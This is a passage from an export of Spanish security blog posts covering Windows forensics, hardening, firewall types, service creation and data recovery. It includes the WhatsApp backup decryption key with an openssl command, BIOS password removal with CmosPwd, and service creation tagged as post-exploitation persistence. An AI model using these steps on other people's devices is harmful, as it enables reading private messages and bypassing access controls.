tomadas que en mi caso eran la máscara de subred y la puerta de enlace. Los parámetros con PsExec utilizados son los siguientes: \\\\ipremota: IP Remota o nombre del equipo (para establecer la conexión con el equipo) -u: Usuario con privilegios de la máquina remota para ejecutar el comando. -p: Password de dicho usuario remoto con privilegios. -s: Proceso/comando a ejecutar de manera remota. En este caso, netsh y su respectiva sintaxis de uso. 1: Indica la métrica, normalmente en la mayoría de casos especificamos el valor 1. Saludos! "},{"title":"Analizar la carpeta Prefetch de Windows (ficheros .pf)","url":"/posts/analizar-carpeta-prefetch-windows-ficheros-pf/","summary":"La carpeta Prefetch de Windows ubicada en el path C:\\Windows\\Prefetch, según Microsoft Windows, define esta carpeta de la siguiente manera.\n\u0026ldquo;Cada vez que se enciende el equipo, Windows realiza …","tags":["Análisis Forense","DFIR","Blue Team","IoC"],"date":"2014-02-09","content":"La carpeta Prefetch de Windows ubicada en el path C:\\Windows\\Prefetch, según Microsoft Windows, define esta carpeta de la siguiente manera. \u0026ldquo;Cada vez que se enciende el equipo, Windows realiza un seguimiento de la forma en que se inicia el equipo y los programas que se abren habitualmente. Windows guarda esta información en una serie de pequeños archivos (de extensión .pf) en la carpeta Prefetch. La próxima vez que encienda el equipo, Windows recurrirá a estos archivos para acelerar el proceso de inicio.\u0026rdquo; Es decir, que es como un almacenamiento de \u0026ldquo;cachés\u0026rdquo; en las que almacenan datos en general, librerías utilizadas por los programas más recurrentes, etc. Los ficheros .pf entre otras cosas almacenan información relevante a los dispositivos de almacenamiento ya sean discos duros internos, externos, dispositivos de almacenamiento USB, etc. Estos registran datos como la fecha/hora, paths, aplicaciones, librerías dependientes de esas aplicaciones, procesos .exe, etc. instaladas en nuestro sistema. De modo que para análisis forenses estos registros de sucesos pueden resultar muy útiles. Esto es gracias al funcionamiento del servicio \u0026ldquo;Programador de tareas\u0026rdquo; (que se ejecuta bajo el proceso \u0026lsquo;svchost\u0026rsquo;) el cual entre otras cosas graba en páginas de memoria que son utilizadas con frecuencia por las aplicaciones. Esta es monitorizada por el File caching (Windows Cache Manager) y después de esa información recogida por cada aplicación utilizada de forma habitual se genera el archivo .pf. Los ficheros .pf se crean con el nombre del tipo: \u0026ldquo;IEXPLORE.EXE-4B6C9213.pf\u0026rdquo;. En el que la primera parte del nombre es el proceso ejecutable en cuestión de la aplicación y seguido de un Hash de 32bits representado en hexadecimal, el cual se construye a partir de la ruta completa de la aplicación. Ahora bien, ¿cómo vemos la información de estos ficheros .pf? Si nos vamos a la ruta donde está esta carpeta vemos todos los ficheros .pf y también veremos un archivo de inicialización llamado: Layout.ini. Este fichero contiene en texto plano registros realizados/cambios con aplicaciones en nuestro ya sean instalaciones, desinstalaciones o actualizaciones, con referencia a los ficheros .pf creados. Figura 1: Fichero \u0026lsquo;Layout.ini\u0026rsquo; con información de los ficheros .pf almacenados. Para poder profundizar un poco más en lo que ahora almacena realmente cada fichero .pf, fecha/hora, paths, procesos, dependencias de librerías, etc. Podemos hacer uso de una herramienta externa desarrollada por Nirsoft la cual es WinPrefetchView. WinPrefetchView nos permite visualizar de modo legible la información de estos ficheros .pf y que nos sea de utilidad en un análisis forense en busca de evidencias o para controlar si se instaló determinada aplicación en un equipo corporativo. Incluso es muy útil para detectar intrusiones de algún tipo de fichero ejecutable malicioso (malware) haciéndose pasar por otro. Figura 2: WinPrefetchView mostrando la información de ficheros .pf. Saludos! "},{"title":"Descifrar msgstore.db.crypt de WhatsApp","url":"/posts/descifrar-msgstore-db-crypt-whatsapp/","summary":"En sus comienzos, Whatsapp guardaba los ficheros de bases de datos donde se almacenaban las conversaciones que tenemos con el resto de nuestros contactos, en formato SQLite sin cifrar. Es decir, que …","tags":["Análisis Forense","DFIR","Cracking"],"date":"2013-11-25","content":"En sus comienzos, Whatsapp guardaba los ficheros de bases de datos donde se almacenaban las conversaciones que tenemos con el resto de nuestros contactos, en formato SQLite sin cifrar. Es decir, que simplemente con cargarlo en SQLite se podría ver las conversaciones, teléfonos y demás, en texto plano. De modo que en caso de pérdida o robo del terminal nos podrían ver las conversaciones de forma muy sencilla. Hace ya casi año y medio que Whatsapp debido a la inseguridad en estos ficheros y por protección de privacidad para los usuarios; Whatsapp lanzó una actualización en la que corrige este \u0026ldquo;descuido\u0026rdquo; encriptando dichos ficheros, dificultando así la simple visualización en plaintext de las conversaciones realizadas. Este cifrado dificulta la visualización a primera vista, pero no la impide. El cifrado (AES-192-ECB) que utiliza la aplicación en los ficheros de backup siempre usa la misma key (346a23652a46392b4d73257c67317e352e3372482177652c) y es lo mismo para todos los dispositivos, es decir, que no se crea nada único por cada dispositivo que tenga instalado Whatsapp. En el caso de los teléfonos iOS este fichero está en la ruta: [ID de App]/Documents/ChatStorage.sqlite. En el caso de los teléfonos Android en: ../whatsapp/databases/msgstore.db.crypt. msgstore.db.crypt (conversaciones actuales). msgstore-YYYY-MM-DD.X.db.crypt (backups de conversaciones por fechas). Para descifrar el fichero/s en cuestión de las conversaciones que queramos visualizar. Simplemente tendremos que aplicar el siguiente comando con sus respectivos argumentos. Para ello descargamos gratuitamente el binario (en mi caso) para Windows de OpenSSL, la cual es una herramienta que permite cifrar y descifrar ficheros mediante líneas de comandos. Una vez los instalamos se nos instalará (por defecto) en la carpeta raíz del sistema (C:). Copiamos ahora los ficheros de conversaciones que queramos del origen de Whatsapp a una carpeta cercana a la instalación de OpenSSL (da igual donde estén, aconsejo simplemente por comodidad a la hora de mapear el directorio en el comando). Abrimos una consola y nos situamos en el directorio donde está el ejecutable OpenSSL.exe (C:\\OpenSSL-Win32\\bin). openssl enc -d -aes-192-ecb -in copias\\msgstore-entrada.db.crypt -out copias\\msgstore-salida.db.sqlite -K 346a23652a46392b4d73257c67317e352e3372482177652c Paso a explicar los argumentos, aunque creo que son claros: -d: [Decrypt] argumento para empezar a desencriptar. -aes-192-ecb: El tipo de encriptación del fichero. -in: [Input] Especificar el fichero de entrada a descifrar (en este caso). -out: [Output] Especificar el fichero de salida ya descifrado (en este caso). -k: [Key] es la clave necesaria utilizada por la aplicación. En el caso de ejemplo que se muestra arriba en la línea de comando, tendríamos que referenciar el mapeado de nuestros ficheros tanto de entrada como de salida, en mi caso ambos estaban en una carpeta dentro de la ubicación de OpenSSL llamadas \u0026ldquo;copias\u0026rdquo;. Una vez tenemos descifrado el fichero, podremos abrirlo simplemente con un gestor de SQLite, por ejemplo SQLite Administrator. Figura 1: Fichero de conversaciones de Whatsapp (ya descifrado) cargado en SQLite (tabla messages). En SQLite, podremos filtrar por los campos de la tabla messages e ir a un número de teléfono o a un contexto de conversación en concreto, eligiendo correctamente los campos de filtro adecuados. Saludos! "},{"title":"Crear servicios en Windows con sc (Service Controller)","url":"/posts/crear-servicios-windows-sc-service-controller/","summary":"Esta vez comentaré al igual que una de las últimas entradas en las que decía cómo crear servicios de Windows con Process Hacker, pero esta vez mostraré como hacerlo con una propia herramienta de …","tags":["Red Team","Post-Explotación","Persistencia"],"date":"2013-08-26","content":"Esta vez comentaré al igual que una de las últimas entradas en las que decía cómo crear servicios de Windows con Process Hacker, pero esta vez mostraré como hacerlo con una propia herramienta de Windows, la cual es mediante el uso del comando sc.exe (Service Controller) a través de la consola de comandos. La estructura del comando sería del siguiente modo: sc create [nombreDeServicio] [binpath=nombreDeRutaDeBinario] [type={own|share|kernel|filesys|rec|adapt|interact type={own|share}}] [start={boot|system|auto|demand|disabled}] [displayname=nombreDescriptivo] Ahora explicaré cada uno de los parámetros utilizados. nombreServicio: Especificar un nombre al servicio. binpath=nombreRutaBinario: Especificar una ruta absoluta del fichero binario ejecutable con el que queremos crear el servicio. type={own|share|kernel|filesys|rec|adapt|interact type={own|share}}: Especificamos el tipo de servicio, los servicios interactivos se tienen que ejecutar con la cuenta LocalSystem. Se utiliza type=interact acompañado de los atributos own o share, dependiendo de si el servicio se ejecuta en su propio proceso y no comparte otros archivos binarios con otros servicios. start={boot|system|auto|demand|disabled}: Especificamos el tipo de inicio del servicio, lo dejaremos en auto, de modo que se ejecute sin la ayuda de ningún usuario y cada vez que reiniciemos el equipo se auto-ejecutará. displayname=nombreDescriptivo: Especificar un nombre descriptivo \u0026ldquo;entendible\u0026rdquo; al usuario. Como ejemplo para crear un servicio de Windows usaré el software de montar imágenes de CD/DVD; \u0026ldquo;Daemon Tools Lite\u0026rdquo; y sería del siguiente modo: sc create DaemonToolsLite binpath=C:\\Program Files (x86)\\DAEMON Tools Lite\\DTLite.exe type=interact type=own start=auto displayname=\u0026#34;Servicio_DTL\u0026#34; Decir que los servicios se almacenan en el registro de Windows (regedit), en la siguiente clave: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services Para eliminar un servicio de Windows podremos hacerlo sencillamente con el mismo comando, de forma que quede una eliminación limpia de la siguiente manera: sc delete nombreServicio De modo que en el ejemplo anterior sería: *sc delete DaemonToolsLite.*Finalmente podremos verificar la clave del registro asociada si se eliminó correctamente (que es lo más probable y lo que debería de suceder), en caso de que no, la eliminaremos manualmente. Espero que de nuevo esta información os resulte útil alguna vez. Para más información del comando SC.exe, está disponible en: http://technet.microsoft.com/en-us/library/bb490995.aspx. Más información también en este artículo oficial de Microsoft: https://support.microsoft.com/es-es/kb/251192 Saludos! "},{"title":"Crear servicios de Windows con Process Hacker (sin sc.exe)","url":"/posts/crear-servicios-de-windows-con-process-hacker/","summary":"Probando algunos y nuevos task managers, de nuevo me reencontré con Process Hacker del que ya había hablado, volviendo a investigarlo un poco más a fondo he visto que se pueden crear servicios para …","tags":["Red Team","Post-Explotación","Persistencia","Process Hacker"],"date":"2013-08-16","content":"Probando algunos y nuevos task managers, de nuevo me reencontré con Process Hacker del que ya había hablado, volviendo a investigarlo un poco más a fondo he visto que se pueden crear servicios para Windows de algún proceso o fichero ejecutable e incluso añadirle parámetros después del path. Una vez descarguemos e instalemos Process Hacker de forma gratuita. Lo ejecutamos y nos vamos a la opción de la barra de herramientas: Tools \u0026gt; Create service\u0026hellip; Figura 1: Creando servicio para Windows con Process Hacker. Se nos abrirá una ventana para poder crear el nombre, descripción, tipo, path, etc\u0026hellip; y más datos del servicio a crear. En este caso y como ejemplo, voy a seleccionar un fichero .exe de la conocida herramienta de montar imágenes .iso y otras: Daemon Tools Lite. Figura 2: Cubriendo campos para la creación del servicio, en este caso con Daemon Tools Lite. Vemos como se nos crea el servicio y se nos refleja en el task manager de Windows y también en la consola services.msc. Figura 3: Servicio de prueba en el que aparece en el administrador de tareas de Windows \u0026ldquo;DTHelp_prueba\u0026rdquo;. También, como sería lo normal, dicho servicio sale creado y podemos administrarlo como uno más en la consola de administración de servicios services.msc Figura 4: En la consola de administración de servicios (services.msc), figura el servicio en cuestión y podemos ir a las propiedades de este. En caso de querer borrar o eliminar por completo el servicio, basta con hacerlo de nuevo a través de Process Hacker. Botón derecho sobre el servicio \u0026gt; Delete. Figura 5: Eliminación a través de Process Hacker del servicio creado como prueba. Espero que a alguno le sea de utilidad esto, que en alguna ocasión puede serlo ya que no hay mucha información al respecto sobre esto. También puedes consultar: Crear servicios de Windows con SC [Service Controller] Saludos! "},{"title":"Reconstruir sistemas de ficheros FAT/FAT32/NTFS con TestDisk (rebuild \u0026 recovery)","url":"/posts/reconstruir-sistemas-ficheros-fat-fat32-ntfs-testdisk-recovery/","summary":"Hace tiempo quería escribir esta entrada con respuesta a muchos comentarios que tuve en este otro artículo: Reparar tarjetas de memoria SD dañadas. Muchos decían que en sus PCs no reconocían las …","tags":["DFIR","Análisis Forense","NTFS","Testdisk"],"date":"2013-07-07","content":"Hace tiempo quería escribir esta entrada con respuesta a muchos comentarios que tuve en este otro artículo: Reparar tarjetas de memoria SD dañadas. Muchos decían que en sus PCs no reconocían las tarjetas de memoria, esto podría ser causa de que al corromperse dichas tarjetas pierden su sistema de ficheros ya sea FAT/FAT32 o NTFS. Por eso a muchos usuarios cuando conectaban las tarjetas a su equipo Windows decía algo como: \u0026ldquo;La unidad no tiene formato, ¿desea formatearla ahora?\u0026rdquo;. Esto es lo que debemos evitar, nunca formateemos algo que queremos recuperar. Ya que lo que estaríamos haciendo sería sobrescribir los datos ya almacenados por espacios lógicos con valor \u0026ldquo;0\u0026rdquo; en el espacio de almacenamiento del dispositivo en cuestión, ya sean tarjetas de memoria, pendrives USB, HDDs externos, etc. Para la recuperación y reconstrucción de un sistema de ficheros en unidades lógicas, como pueden ser particiones u otros podríamos hacer uso de una tool para ello. TestDisk es una herramienta gratuita y compatible con entornos Windows, Linux y MacOS. En la que se ejecuta e interactúa a nivel de una command prompt de Windows. Su utilización es sencilla, además en la website oficial podemos encontrar guías perfectamente detalladas y con ejemplos. En esta ocasión y como ejemplo, creé un escenario en una VM con Windows 7. Como vemos creé dos particiones en las que almacené unos ficheros. Una de las particiones de 2,13GB y la otra de 1,41GB. Figura 1: Particiones 1 E: y 2 F: con información almacenada. Si vemos en el Administrador de discos de Windows (diskmgmt.msc) podemos ver como existen dos particiones primarias creadas en NTFS, las cuales aún NO perdieron su formato de ficheros. Figura 2: Particiones primarias con formato en el administrador de dispositivos. Ahora lo que haré será Eliminar el volumen de cada una de las particiones. De modo, que se unirán ambas en un mismo valor marcado como No asignado, el cual significa que no tienen un filesystem con el que poder trabajar y de este modo Windows deje de reconocer las particiones. Figura 3: Eliminación de volúmenes, quedando sin formato de ficheros como valor \u0026ldquo;No asignado\u0026rdquo;. Ya que se eliminaron las particiones anteriores, como vemos Windows ya no las muestra, esto no significa que se borraran del todo ni tampoco la información almacenada que había en ellas. Simplemente, que perdieron el sistema de ficheros NTFS con el que Windows trabaja (NTFS en este caso). Figura 4: Windows no muestra las particiones, simplemente no las reconoce como tal. Llegados a este punto, vamos a hacer uso de TestDisk para la reconstrucción del filesystem de los volúmenes eliminados. Una vez nos descarguemos TestDisk y lo ejecutemos, que en el caso de Windows sería el fichero llamado \u0026ldquo;testdisk_win.exe\u0026rdquo;. Se nos abrirá una consola de Windows en la que crearemos un nuevo log file para empezar a trabajar con la herramienta. Figura 5: Creando un fichero de registro. Ahora se nos mostrará un menú en el que tendremos que seleccionar en qué disco HDD, dispositivo USB u otro, queremos trabajar. En este caso al tratarse de una VM ya me reconoce el único disco que tengo cargado (/dev/sda). Pulsamos entonces en \u0026ldquo;Proceed\u0026rdquo;. Como se representan las nomenclaturas de los discos y particiones? Link to heading En la forma de representación de los \u0026ldquo;dispositivos montados\u0026rdquo; /dev/sda, significa que el dispositivo (dev=device) de disco duro (sd=para discos SCSI, SATA o dispositivos extraíbles) es el primer disco físico (a). SDxz, donde \u0026ldquo;X\u0026rdquo; (son letras) es el orden del dispositivo y \u0026ldquo;Z\u0026rdquo; (son números) el orden del volumen que representa el dispositivo \u0026ldquo;X\u0026rdquo;. Aclaro que, los cuatro primeros números están reservados para particiones primarias, de modo que las particiones lógicas se referencian a partir del número 5. Lo mismo ocurre si vemos representado HDxz, pero con el matiz de que estos se refieren a dispositivos con interfaz IDE, ya sea IDE en discos duros (HDD) o lectores/grabadores CD/DVD ROM. Por ejemplo si vemos algo como esto: /dev/sda1: (sda) la primera partición del primer disco (a). /dev/sdb3: (sdb5) la primera partición lógica del segundo disco (b) /dev/hda: (hda) una única partición del primer disco maestro IDE. Para más información: http://es.wikipedia.org/wiki/Mount Figura 6: Proceder a trabajar con el disco montado /dev/sda. En mi caso y seguro que en la mayoría, seleccionamos \u0026ldquo;Intel\u0026rdquo; como tipo de arquitectura compatible para la partición. Figura 7: Seleccionando el tipo de arquitectura para particiones Intel. Ahora marcamos la opción de la lista \u0026ldquo;Analyse\u0026rdquo; con la que analizaremos el disco en cuestión. Encontraremos en esta lista más opciones, las cuales se pueden consultar en la website oficial, donde anteriormente dejé un enlace a las guías de la herramienta. Figura 8: Analizando el disco en cuestión. Vemos que reconoce los sectores de inicio a fin y las direcciones CHS (Cylinder Head Sector), esto será necesario como información para la aplicación poder reconstruir la estructura de particiones del disco. CHS el cual es utilizado para particiones menores de 8GB, como es este caso. Para particiones superiores a 8 GB y hasta un límite de 8 ZB, ya se utiliza LBA (Logical Block Addressing). Con lo que buscamos en este disco y que desglose las particiones de esos valores marcados antes como \u0026ldquo;No asignados\u0026rdquo;. Figura 9: Buscando elementos no asignados en el disco, usando direcciones CHS. Una vez se nos despliega las particiones encontradas como primarias en este caso (marcadas con la letra \u0026ldquo;P\u0026rdquo; a su izquierda), continuamos la operación para realizar la reconstrucción del sistema de ficheros en este caso, NTFS. Figura 10: Reconstruyendo sistema de ficheros NTFS en las particiones. Una vez reconstruidas, pulsamos en \u0026ldquo;Write\u0026rdquo; para escribir en el disco el orden de estructura de las particiones y de este modo guardar los cambios. Figura 11: Escribiendo en el disco para guardar el orden de la estructura de particiones. Ahora cerramos la aplicación y REINICIAMOS el equipo para que se apliquen los cambios correctamente. Una vez iniciemos de nuevo sesión en Windows, veremos como al tener de nuevo un sistema de ficheros legible por el sistema operativo estas particiones se nos vuelven a visualizar como pasaba al principio, ver \u0026ldquo;Figura 1\u0026rdquo;. Figura 12: Después de reiniciar, Windows ya reconoce las particiones con formato NTFS. Saludos! "},{"title":"Restablecer la contraseña de la BIOS con CmosPwd","url":"/posts/restablecer-contrasena-bios-cmospwd/","summary":"Hay diferentes formas de poder resetear o borrar la password de la BIOS, es decir que para lograr esto tendremos que reiniciar los valores por defecto de la BIOS, como puede ser retirar un pequeño …","tags":["Hacking Ético","Post-Explotación","BIOS","Bypass auth"],"date":"2013-06-15","content":"Hay diferentes formas de poder resetear o borrar la password de la BIOS, es decir que para lograr esto tendremos que reiniciar los valores por defecto de la BIOS, como puede ser retirar un pequeño \u0026ldquo;Jumper\u0026rdquo; que está situado al lado de la CMOS y que suele ya venir marcada por la placa como algo parecido a lo que se puede ver en la imagen \u0026ldquo;CMOS PSWD\u0026rdquo;. Y a continuación encender el equipo con este retirado y al entrar en la BIOS no nos pedirá ninguna contraseña. También está otra posible opción como la de retirar la \u0026ldquo;Pila\u0026rdquo; durante un par de minutos esta conserva la memoria de la CMOS, volvemos a colocar trascurrido dicho tiempo y encendemos el equipo para poder probar entrar en la BIOS y ver que no nos requiere contraseña de entrada. Aunque también podemos reiniciar la memoria CMOS en algunos casos o modelos de BIOS compatibles, mediante software, uno de los más conocidos sería: CmosPwd es una herramienta gratuita y usada por línea de comandos con la que podemos resetear la contraseña de la BIOS. Para que sea posible la funcionalidad de esta en Windows es necesario instalar el servicio ioperm por eso es necesario que lo hagamos por medio de una cuenta local con privilegios administrativos (desde la propia cuenta \u0026ldquo;Administrador\u0026rdquo; o una cuenta que pertenezca al \u0026ldquo;grupo de administradores\u0026rdquo;). Este controlador/servicio proporcionará acceso a los puertos de entrada/salida de la memoria CMOS (Complementary metal oxide semiconductor). Cuando nos descarguemos la aplicación, en el caso de que usemos Windows, entraremos a la carpeta de la tool y después en la carpeta Windows encontraremos los ficheros para ejecutar en una consola. Primero instalamos el controlador. ioperm.exe -i Luego iniciamos el servicio de este. net start ioperm Ahora podremos ejecutar la utilidad \u0026ldquo;cmospwd_win.exe\u0026rdquo; de modo que hacemos un dump de la memoria CMOS, antes de resetear la password, ya que depende de qué modelo de BIOS se puede ver en texto plano. En mi caso no es así, debido a que las pruebas las realicé en una laptop de Toshiba. cmospwd_win -d Con el parámetro -d hacemos un dumping de la memoria de la CMOS. Si no conseguimos visualizar la password, entonces reseteamos la contraseña (o mejor dicho, borramos la memoria CMOS). Operación destructiva cmospwd -k borra por completo la CMOS: pierdes la password pero también la fecha/hora, el orden de arranque y el resto de configuración de la BIOS. Antes de ejecutarlo, haz backup con cmospwd -d \u0026gt; cmos.bak para poder restaurar con cmospwd -l cmos.bak. cmospwd_win -k De este modo se nos mostrará tres opciones. En la cual, recomiendo la primera de ellas. 1 - Kill cmos 2 - Kill cmos (try to keep date and time) 0 - Abort Choice : 1 La primera es directamente que eliminemos la contraseña (es la opción que yo he elegido), la segunda es la misma que la primera pero \u0026ldquo;intentando conservar la fecha y hora de la BIOS\u0026rdquo;, lo cual esta se puede modificar igualmente, teniendo acceso a ella. Y con la última opción salimos de la utilidad. Después de Choice introducimos un valor en este caso: 1(de la primera opción). Nos dirá que la CMOS ha sido \u0026ldquo;matada\u0026rdquo;, que en ese caso se refiere a borrada/eliminada su memoria y que cuando reiniciemos para probar el acceso a ella, modifiquemos la fecha y hora actual. Pues esto es todo, la verdad que bastante simple. Saludos! "},{"title":"Hardening en Windows: habilitar/deshabilitar recursos compartidos administrativos (C$, ADMIN$)","url":"/posts/habilitar-deshabilitar-recursos-compartidos-administrativos-c-admin-hardening/","summary":"Windows crea una serie de recursos compartidos por defecto que están \u0026ldquo;ocultos\u0026rdquo;, pero que en realidad pueden ser accesibles de una forma muy sencilla mediante una ruta UNC tipo …","tags":["Hardening","Blue Team","SMB","CIFS","Redes","Active Directory"],"date":"2012-09-10","content":"Windows crea una serie de recursos compartidos por defecto que están \u0026ldquo;ocultos\u0026rdquo;, pero que en realidad pueden ser accesibles de una forma muy sencilla mediante una ruta UNC tipo \\nombreDeEquipo o dirección IP\\nombreRecursoCompartido$. Por ejemplo para acceder al disco local del equipo remoto \\\\192.168.1.12\\c$. Si en el equipo hay definido un usuario con password nos solicitará estas credenciales para poder acceder. En entornos corporativos bajo un dominio Active Directory es habitual que el personal de TI use estos recursos compartidos administrativos para una gestión y administración de las máquinas. En equipos personales (que no estén unidos a un dominio) recomiendo deshabilitar los recursos compartidos administrativos si no son necesarios. El símbolo $ en Windows establece que ese recurso compartido se mantiene oculto al resto de la red y que solamente conociendo el nombre del recurso compartido podríamos acceder a él. Recursos compartidos administrativos Link to heading LetraUnidad$: El volumen compartido de forma completa, normalmente C:\\ pero a cualquier unidad de medio extraíble conectada al equipo se le crearía un recurso compartido por defecto. ADMIN$: Se utiliza durante la administración remota de un equipo. IPC$: Comparte las canalizaciones con nombre que debe tener para la comunicación entre programas. Este recurso no puede eliminarse. En Windows Server también encontramos Link to heading PRINT$: Permite la administración remota de impresoras. FAX$: Utilizado por los clientes de fax, durante la transmisión de fax. Recursos compartidos administrativos especiales en Windows Domain Controllers Link to heading NETLOGON: Procesa las solicitudes de inicio de sesión de dominio. SYSVOL: Controla la replicación de Active Directory, GPOs, etc. Estos recursos compartidos los encontramos en la consola de administración de carpetas o recursos compartidos fsmgmt.msc (File System ManaGeMenT). También podremos acceder a través de la consola de componentes de administrador de equipos compmgmt.msc (Component Management). Figura 1: Consola de Microsoft de Recursos compartidos fsmgmt.msc. Deshabilitar los recursos compartidos administrativos por seguridad Link to heading Verifica dependencias antes de aplicar Deshabilitar C$/ADMIN$/IPC$ puede romper aplicaciones corporativas que dependen de estos recursos: agentes de backup, despliegue de software (SCCM, GPO startup scripts), herramientas de inventario, instaladores remotos. Verifica las dependencias antes de aplicarlo en producción. Un posible atacante que de algún modo conozca unas credenciales de acceso válidas o pueda realizar un bypass de esta autenticación a través de alguna vulnerabilidad existente en la máquina podría lograr acceso a estos recursos. Hay que tener en cuenta que ciertas aplicaciones de bases de datos y/o servidores de correo pueden trabajar con estos recursos compartidos para su correcto funcionamiento. Si utilizamos alguna aplicación que puede estar utilizando estos recursos lo mejor es que ya no toquemos nada, igualmente en la mayoría de este tipo de situaciones suelen ocurrir dentro de organizaciones corporativas. Habilitar o deshabilitar recursos compartidos administrativos: C$ y ADMIN$ Link to heading Abrimos la consola de recursos compartidos locales fsmgmt.msc, manualmente podemos dejar de compartir estos recursos, pero en el caso de que los necesitemos en un futuro no los podríamos volver a restaurar de forma automática. Dejarlos sin compartir o eliminarlos manualmente no sería una buena práctica, lo aconsejable sería deshabilitarlos y tener la posibilidad de recuperarlos en un futuro si fuese necesario. Lo podemos hacer mediante el registro de Windows regedit. Nos situamos en la siguiente ruta. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters Creamos un valor tipo DWORD 32 bits. Llamado AutoShareWks. Asignamos el valor 0. 0 = Deshabilita los recursos compartidos administrativos. 1 = Habilita los recursos compartidos administrativos. Para aplicar los cambios podemos reiniciar la máquina o simplemente reiniciar el servicio \u0026ldquo;Servidor\u0026rdquo; LanmanServer. Podemos reiniciarlo también a través de una consola cmd. net stop lanmanserver net start lanmanserver Figura 2: Servicio \u0026ldquo;Servidor\u0026rdquo; LanmanServer. Restaurar recursos compartidos administrativos NETLOGON y SYSVOL en un controlador de dominio Windows Server Link to heading Microsoft recomienda que no se elimine ni modifique estos recursos compartidos especiales en el caso de NETLOGON y SYSVOL en un controlador de dominio Windows Server. Si se eliminaron los recursos compartidos administrativos predeterminados o si la creación automática de estos recursos compartidos está desactivada, para restaurar los recursos compartidos de modo que se creen automáticamente en un controlador de dominio Windows Server. HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\LanmanServer\\Parameters Creamos un valor tipo DWORD 32 bits. Llamado AutoShareServer. Asignamos el valor 1. Con valor 1 creará los recursos automáticamente. Con valor 0 se deshabilitaría la creación automática de recursos compartidos especiales. Más info: https://support.microsoft.com/en-us/help/816113/how-to-use-registry-editor-to-restore-administrative-shares-in-windows Saludos! "},{"title":"Tipos de firewall: stateless, stateful, SPI, AIC, DPI, NIDS, IDS/IPS, proxy","url":"/posts/tipos-firewall-stateless-stateful-spi-dpi-nids-ids-ips-proxy/","summary":"En el blog de Oscar Gerometta me encontré un estupendo artículo donde habla de los tipos de firewalls y en qué se basan los firewalls con y sin estado, SPI, AIC, DPI, IDS/IPS/IDPS y Proxy.\nDespués …","tags":["Blue Team","Hardening","Firewall","IDS","IPS","NIDS","Redes"],"date":"2012-06-09","content":"En el blog de Oscar Gerometta me encontré un estupendo artículo donde habla de los tipos de firewalls y en qué se basan los firewalls con y sin estado, SPI, AIC, DPI, IDS/IPS/IDPS y Proxy. Después algunos apuntes a mayores que anoté y adaptarlo un poco comparto el artículo como apunte personal y para quien le pueda resultar de utilidad. ¿Qué es un firewall? Link to heading Un firewall es un sistema que fuerza la implementación de políticas de control de acceso entre 2 o más dominios de seguridad. Es decir, un sistema (hardware, software, combinación de ambos o simplemente implementación en un dispositivo no dedicado) que facilita la aplicación de políticas de inspección y acceso entre 2 áreas de la red que tienen diferente política de seguridad. Firewall puede ser entonces un dispositivo (hardware dedicado que corre un software especialmente diseñado para este propósito), un software implementado sobre un dispositivo no dedicado a ese propósito, lo que serían firewall ISR (Integrated Services Router), o una implementación de recursos o herramientas que permiten realizar este tipo de tareas, un conjunto de ACLs (Access Control List) en un router de acceso. Hay que tener en cuenta que la implementación de Firewalls, a cuanto más bajo nivel (en las capas del modelo OSI) se implementen, mucho mejor y más seguro. Ya que los accesos/bloqueos/filtrados serán más difíciles de eludir. Tipos de Firewall Link to heading De acuerdo a las técnicas de filtrado de tráfico que se implementan, los firewalls pueden clasificarse en diferentes tipos. Filtrado de paquetes stateless (sin estado) Link to heading Es la forma más básica de filtrado de tráfico. Usualmente se aplica en dispositivos de capa de red e implementa conjuntos de reglas estáticas que examinan los encabezados de cada paquete para permitir o denegar el tráfico, sin ninguna relación con los flujos de tráfico precedentes. Trabajan bien cuando el objetivo filtra aplicaciones basadas en TCP que no utilizan negociación dinámica de puertos. Filtrado de paquetes stateful (con estado) Link to heading Es un método de filtrado de paquetes que trabaja a nivel de flujo o conexión, con ocasionales intervenciones a nivel de la aplicación. Mantienen una tabla de estado que hace seguimiento de las sesiones que atraviesan el firewall y en función de ella hace inspección de cada paquete que atraviesa el dispositivo. El mecanismo asume que si se permite el inicio de la conexión, cualquier conexión adicional que requiera esa aplicación será permitida. Es un mecanismo confiable para filtrar tráfico de red entre dominios de seguridad. Filtrado de paquetes stateful con inspección SPI (Stateful Packet Inspection) y control de aplicaciones Link to heading Se trata de firewalls stateful que incorporan motores de análisis de tráfico que suman servicios adicionales que reciben la denominación de AIC (Application Inspection and Control) o DPI (Deep Packet Inspection). Estos sistemas reensamblan en memoria las sesiones de capa de transporte para realizar inspección de protocolos de capa de aplicación y decodifican los protocolos de capa de aplicación para permitir filtrado de protocolos y contenidos. Pueden verificar los protocolos de capa de aplicación para eliminar paquetes que no se conformen con el funcionamiento estándar del protocolo. Sistemas de prevención de intrusos en la red: NIPS (Network Intrusion Prevention Systems) Link to heading También conocidos como IDS/IPS o IDPS (Intrusion Detection Prevention System). Son sistemas que analizan el tráfico de la red con el propósito de bloquear tráfico malicioso conocido. Se asienta en una base de datos de ataques que debe ser actualizada periódicamente. Son mecanismos permisivos y usualmente no pueden detectar amenazas nuevas a menos que hayan sido incluidas en las actualizaciones. Gateways de aplicaciones (proxy) Link to heading Es un sistema de software diseñado para actuar como intermediario y reenviar requerimientos de capa de aplicación y respuestas entre los clientes y los servidores. En términos de control de acceso, permite un filtrado y seguimiento muy granular tanto de las solicitudes como de las respuestas. Brindan opciones de control de acceso confiables para los protocolos soportados. Sin embargo, hay que tener presente que no hay proxies disponibles para todas las aplicaciones corporativas y no se aplican a aplicaciones de tiempo real. Saludos! "},{"title":"Capturar tráfico remoto en Wireshark con rpcapd","url":"/posts/capturar-trafico-red-wireshark-equipo-remoto-rpcapd/","summary":"Si estamos en una red local y queremos capturar y analizar todo el tráfico de datos que vaya dirigido a otro equipo de nuestra red, lo podremos hacer de manera remota. Con la utilidad de rpcapd.exe …","tags":["Red Team","Pentesting","Wireshark","PsTools","PsExec","Redes"],"date":"2012-06-01","content":"Si estamos en una red local y queremos capturar y analizar todo el tráfico de datos que vaya dirigido a otro equipo de nuestra red, lo podremos hacer de manera remota. Con la utilidad de rpcapd.exe que está incorporado en las librerías de WinPcap y que nos permitirá capturar tráfico remoto que vayan dirigidos a otros hosts de la red. Lo primero que hay que hacer es instalar WinPcap en el equipo remoto. Desgraciadamente no existe una forma \u0026ldquo;silenciosa\u0026rdquo; para instalar esto de forma subyacente al usuario final. Desde la web oficial los desarrolladores comentan que no habrá opción para esta tarea por 